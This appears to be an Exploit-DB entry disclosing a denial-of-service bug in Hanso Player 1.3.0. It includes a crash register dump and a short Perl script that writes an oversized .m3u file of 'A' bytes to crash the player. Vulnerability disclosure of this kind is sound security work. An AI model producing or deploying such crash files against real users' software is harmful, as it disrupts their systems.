Hanso Player 1.3.0 - '.m3u' Denial of Service

EDB-ID:

15193

CVE:

N/A




Platform:

Windows

Date:

2010-10-03


# Exploit Title: Hanso Player Version 1.3.0 (.m3u) DoS
# Date: 10/02/2010
# Author: xsploited security
# Software Link: http://www.hansotools.com/downloads/hanso-player-setup.exe
# Version: 1.3.0
# Tested on: Windows XP Pro SP3
# CVE : N/A

#########################################################
#EAX 00000001
#ECX 80567B8E
#EDX EDD619A0
#EBX 003E320C ASCII "h    "
#ESP 0103FF24
#EBP 0103FF58
#ESI 0103FF80
#EDI 001610D0
#EIP 7C90E460 ntdll.KiUserCallbackDispatcher

#Process terminated, exit code C0000409 (-1073740791.)
#########################################################

#!/usr/bin/perl
my $file = "crash.m3u";
my $junk = "\x41" x 1337;
open($FILE,">$file");
print $FILE $junk;
print "\ncrash.m3u file created successfully\n1.) Open it with Hanso player\n2.) Application failure...\n";
close($FILE);